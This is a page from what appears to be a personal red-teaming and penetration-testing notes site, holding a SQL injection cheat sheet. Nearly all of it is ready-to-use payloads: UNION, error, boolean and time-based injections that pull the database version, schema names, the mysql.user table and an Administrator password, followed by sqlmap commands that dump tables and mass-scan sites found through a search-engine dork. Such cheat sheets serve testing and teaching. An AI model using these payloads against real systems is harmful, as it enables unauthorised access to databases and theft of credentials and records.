🐧
Hassan Saad
  • WHO AM I ?
  • Red Teaming
    • C2 Infrastructure
    • External Reconnaissance
    • Initial Compromise
      • Executable File (EXE)
      • HTML Application (HTA)
      • Visual Basic (VBA Macros)
      • Password Spraying
      • MITM Attack
      • Email Spoofing
    • Host Reconnaissance
      • Seatbelt
      • Screenshots & Keylogging
    • Host Persistence
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM Hijacking
    • Host Privilege Escalation
      • Automated Tools
      • Unquoted Service Path
      • Weak Service Permission
      • Weak Service Binary
      • Always Install Elevated
      • UAC Bypass
    • Domain Reconnaissance
      • PowerView
      • BloodHound
      • Linux Host
      • Internal Applications
    • Lateral Movement
      • PowerShell Remoting
      • PsExec
      • WMI
      • DCOM
    • Credentials Access
      • LogonPasswords
      • Security Account Manager (SAM)
      • Domain Cached Creds
      • Kerberos Tickets
      • DPAPI
      • User Impersonation
      • Pass The Hash
      • Over Pass The Hash
      • Internal Password Spraying
      • Sniffing
      • NTLM Relay
    • Pivoting & Forwarding
      • SOCKS Proxy
      • Reverse Port Forwards
      • Local Port Forwards
      • Session Passing
      • P2P Listeners
      • NTLM Relay
    • Kerberos
      • Authentication
      • Kerberoasting
      • ASREP-Roasting
      • Unconstrained Delegation
      • Constrained Delegation
      • Linux Credential Cache
    • Group Policy
      • Enumeration
      • RSAT (GPMC)
      • Sharp GPO Abuse
    • Access Control Lists (DACL)
      • GenericAll
      • WriteDacl
      • WriteOwner
    • MS SQL Servers
      • Enumeration
      • NetNTLM Capture
      • Command Execution
      • Lateral Movement
      • Privilege Escalation
    • Domain Dominance
      • DCSync Backdoor
      • AdminSDHolder
      • Remote Registry Backdoor
      • Skeleton Key
      • Silver Ticket
      • Golden Ticket
    • Forest & Domain Trusts
      • Parent/Child
      • One Way (Inbound)
      • One Way (Outbound)
    • Evasion Techniques
      • Obfuscation
      • Process Injection
      • LAPS
      • AppLocker
      • PowerShell Constrained Mode
      • AMSI
      • Antivirus Exclusion
  • Penetration Testing
    • Information Gathering
    • Scanning
    • Exploitation
    • Post Exploitation
    • Password Attacks
    • Web Attacks
    • Exploit Development
  • Technology Essentials
    • Linux
      • Basics
      • Tasks
    • Windows
      • Basics
      • Tasks
    • Network
      • Basics
      • Tasks
    • Programming
      • Basics
      • Tasks
  • Bug Hunting
    • XSS on Nokia
    • XSS on Wuzzuf
    • Business Logic Flaw on Souq (Amazon Company)
    • Rate Limit Bypass on LinkedIn
    • Sensitive Data Exposure on Google
  • Tools
    • Recon Hunter
    • Mail Hunter
    • Mobile Hunter
    • Chimera (Threat Hunter)
  • Extras
    • SQL Injection
    • Web Basics
    • Mobile Testing
      • Mobile Testing 1
      • Mobile Testing 2
      • Mobile Testing 3
Powered by GitBook
On this page
  • UNION-Based
  • Error-Based
  • Boolean-Based
  • Time-Based
  • SQLMAP
  1. Extras

SQL Injection

UNION-Based

# How To Detect
'
-- abc

# Find Number Of Columns
' ORDER BY 2-- abc
' UNION NULL,NULL-- abc

# Test Columns Data Types
' UNION SELECT 'a',NULL-- abc
' UNION SELECT NULL,'a'-- abc

# Print Database Version
' UNION SELECT @@version,@@version-- abc

# Print Multiple Values On One Column
' UNION SELECT CONCAT('username','~','password') FROM users--

# Print Databases and Tables
' UNION SELECT table_name,table_schema FROM information_schema.tables-- abc

# Print Tables and Columns
' UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_name ='user'-- abc

# Print Specific Database, Table and Columns
' UNION SELECT host,user FROM mysql.user-- abc

Error-Based

' AND EXTRACTVALUE(0x0a,CONCAT(0x0a,(SELECT @@version)))-- abc

' AND EXTRACTVALUE(0x0a,CONCAT(0x0a,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1)))-- abc

Boolean-Based

# Detect
' AND 1=1-- abc
' AND 1=2-- abc
' AND '1'='1
' AND '1'='2

# Print Database Version
' AND @@version = '8.0.28'-- abc
' AND @@version LIKE '8.0.28'-- abc

# Print Database Version
' AND SUBSTRING((SELECT @@version),1,1) > '7'-- abc
' AND SUBSTRING((SELECT @@version),2,1) = '.'-- abc

# Print Database Name
' AND SUBSTRING((SELECT table_schema FROM information_schema.tables LIMIT 1),1,1) = 'i'-- abc

# Print Specific Entry
' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

# Boolean Conditional Errors
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
' AND (CASE WHEN (SUBSTRING((SELECT table_schema FROM information_schema.tables LIMIT 1),1,1)='i') THEN 1/0 ELSE 'a' END)='a'-- abc

Time-Based

' AND SLEEP(5)-- abc

' AND IF(1=1,SLEEP(5),'a')-- abc

' AND IF((SUBSTRING((SELECT table_schema FROM information_schema.tables LIMIT 1),1,1)='i'),SLEEP(5),'a')-- abc

SQLMAP

sqlmap -u https://domain.com/product.php?id=1 -p id --proxy http://192.168.43.164:8080 --random-agent --delay 0.5 --threads 10 --flush-session -v 3

sqlmap -g inurl:/product.asp?id= --random-agent --batch --smart

sqlmap -r request.txt --force-ssl --random-agent --level=3 --risk=2 --technique=B --threads=10 --banner --dbs

sqlmap -r request.txt --force-ssl --random-agent -D database_name -T table_name1,table_name2,table_name3 --dump

sqlmap -r request.txt --force-ssl --random-agent -v 4 -p "id,cookie" --cookie="_ga=*" --skip "code,x,host,user-agent,referer"
PreviousExtrasNextWeb Basics

Last updated 3 years ago

Reference:

https://portswigger.net/web-security/sql-injection/cheat-sheet